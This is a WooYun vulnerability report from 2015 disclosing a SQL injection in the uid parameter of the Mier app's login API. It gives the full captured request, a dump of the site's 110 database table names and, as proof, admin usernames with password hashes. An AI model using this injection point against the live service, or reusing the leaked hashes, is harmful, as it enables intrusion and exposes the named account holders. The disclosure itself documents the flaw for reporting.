当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0123358

漏洞标题：米尔app某处注射

相关厂商：米尔网

漏洞作者： 杀手

提交时间：2015-07-03 08:07

修复时间：2015-08-17 08:08

公开时间：2015-08-17 08:08

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-03： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-08-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

注入

详细说明：

2.png

这是主站，下载app后测试。。 登陆接口，抓包！ 

POST /api/2.0.3/logreg_json.php?plat=android&proct=mierapp&apiCode=1&versioncode=20150617 HTTP/1.1 Content-Length: 56 Content-Type: application/x-www-form-urlencoded Host: bbs.mier123.com Connection: Keep-Alive User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; MX4 Build/KOT49H) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Accept-Encoding: gzip act=login&uid=yxtest&pwd=yxtest123&versioncode=20150617

参数uid可注射！

3.png

跑一下！

4.png


Database: wap_2013
[110 tables]
+---------------------+
| duoshuo_commentmeta |
| m_addonarticle      |
| m_addonimages       |
| m_addoninfos        |
| m_addonshop         |
| m_addonsoft         |
| m_addonspec         |
| m_admin             |
| m_admintype         |
| m_advancedsearch    |
| m_app_action_log    |
| m_app_action_mi_log |
| m_app_ad            |
| m_app_channel       |
| m_app_datalog       |
| m_app_down          |
| m_app_exchange      |
| m_app_help          |
| m_app_image         |
| m_app_member        |
| m_app_member_addons |
| m_app_member_banned |
| m_app_reward        |
| m_app_share         |
| m_app_tuijian       |
| m_app_user_relation |
| m_arcatt            |
| m_arccache          |
| m_archives          |
| m_arcmulti          |
| m_arcrank           |
| m_arctiny           |
| m_arctype           |
| m_area              |
| m_channeltype       |
| m_co_htmls          |
| m_co_mediaurls      |
| m_co_note           |
| m_co_onepage        |
| m_co_urls           |
| m_diyforms          |
| m_dl_log            |
| m_downloads         |
| m_erradd            |
| m_feedback          |
| m_feedback_recy     |
| m_flink             |
| m_flinktype         |
| m_freelist          |
| m_homepageset       |
| m_keywords          |
| m_log               |
| m_member            |
| m_member_company    |
| m_member_feed       |
| m_member_flink      |
| m_member_friends    |
| m_member_group      |
| m_member_guestbook  |
| m_member_model      |
| m_member_msg        |
| m_member_operation  |
| m_member_person     |
| m_member_pms        |
| m_member_snsmsg     |
| m_member_space      |
| m_member_stow       |
| m_member_stowtype   |
| m_member_tj         |
| m_member_type       |
| m_member_vhistory   |
| m_moneycard_record  |
| m_moneycard_type    |
| m_mtypes            |
| m_multiserv_config  |
| m_myad              |
| m_myadtype          |
| m_mytag             |
| m_payment           |
| m_plus              |
| m_purview           |
| m_pwd_tmp           |
| m_quick_login       |
| m_ratings           |
| m_scores            |
| m_search_cache      |
| m_search_keywords   |
| m_sgpage            |
| m_shops_delivery    |
| m_shops_orders      |
| m_shops_products    |
| m_shops_userinfo    |
| m_sign_in           |
| m_softconfig        |
| m_spec              |
| m_speclist          |
| m_sphinx            |
| m_stepselect        |
| m_sys_enum          |
| m_sys_module        |
| m_sys_set           |
| m_sys_task          |
| m_sysconfig         |
| m_tagindex          |
| m_taglist           |
| m_uploads           |
| m_verifies          |
| m_verify_code       |
| m_vote              |
| m_vote_member       |
+---------------------+


漏洞证明：

id	userid	pwd
1	jishubu	4100da4e828673e8cab4
4	app	18c22a3851ec9b6f5747
7	huangchengcheng	61277dab08e4f0205797
8	yangsai	0fd7be54fcadf9da2a4f
9	xuchun	09c8864fff4f328e09bc
10	lixin	dd90a9e2287b2c011edb
11	wangshun	6a60ccd5e11978bae948
281	junshijia	f6852cca0d2f70c789c1
316	penghaoming	0e6f1b3e8a60e80a7867
340	changbaichao	b804c30ef693546ca463

修复方案：

版权声明：转载请注明来源 杀手@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝